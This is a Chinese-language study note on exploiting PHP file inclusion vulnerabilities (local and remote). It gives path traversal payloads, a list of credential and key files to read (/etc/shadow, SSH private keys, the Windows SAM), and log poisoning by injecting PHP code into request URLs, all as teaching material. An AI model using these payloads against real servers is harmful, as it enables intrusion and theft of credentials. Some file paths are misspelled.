PHP文件包含 整理
文件包含
参考资料:
文件包含漏洞简介
利用phpinfo条件竞争
PHP文件包含漏洞利用思路与Bypass总结手册
1. 概述
什么是文件包含:文件包含函数所加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他文件或恶意代码,导致信息泄露或代码注入。
要求:包含的文件路径攻击者可控,被包含的文件web服务器可访问。
1.1 常见的引发漏洞的函数:
-
include()
执行到include
时才包含文件,文件不存在时提出警告,但是继续执行。 -
require()
只要程序运行就会包含文件,文件不存在产生致命错误,并停止脚本。 -
include_once()
和require_once()
只执行一次,如果一个文件已经被包含,则这两个函数不会再去包含(即使文件中间被修改过)。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),其中的文本内容都会直接作为php代码进行解析。
1.2 利用条件
-
包含函数通过动态变量的方式引入需要包含的参数。
-
PHP中只要文件内容符合PHP语法规范,不管是什么后缀,都会被解析。
1.3 分类和利用思路
文件包含通常按照包含文件的位置分为两类:本地文件包含(LFI)和远程文件包含(RFI),顾名思义,本地文件包含就是指包含本地服务器上存储的一些文件;远程文件包含则是指被包含的文件不存储在本地。
本地文件包含
- 包含本地文件、执行代码
- 配合文件上传,执行恶意脚本
- 读取本地文件
- 通过包含日志的方式GetShell
- 通过包含
/proc/self/envion
文件GetShell - 通过伪协议执行恶意脚本
- 通过
phpinfo
页面包含临时文件
远程文件包含
- 直接执行远程脚本(在本地执行)
远程文件包含需要在
php.ini
中进行配置,才可开启:
allow_url_fopen = On
:本选项激活了 URL 风格的 fopen 封装协议,使得可以访问 URL 对象文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。(出于安全性考虑,此选项只能在 php.ini 中设置。)
allow_url_include = On
:此选项允许将具有URL形式的fopen包装器与以下功能一起使用:include,include_once,require,require_once。(该功能要求allow_url_fopen
开启)
2. 利用方法
2.1 配合文件解析漏洞来包含
http://target.com/?page=../../upload/123.jpg/.php
2.2 读取系统敏感文件(路径遍历)
include.php?file=../../../../../../../etc/passwd
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
2.3 包含http日志文件
通过包含日志文件,来执行夹杂在URL请求或者User-Agent
头中的恶意脚本
-
通过读取配置文件确定日志文件地址
默认地址通常为:
/var/log/httpd/access_log
或/var/log/apache2/access.log
-
请求时直接在URL后面加上脚本即可
http://www.target.com/index.php<?php phpinfo();?>
,之后去包含这个日志文件即可。 -
注意:日志文件会记录最为原始的URL请求,在浏览器地址栏中输入的地址会被URL编码,通过CURl或者Burp改包绕过编码。
apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS默认日志文件
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log
通过包含环境变量/proc/slef/enversion
来执行恶意脚本,修改HTTP请求的User-Agent
报头,但是没复现成功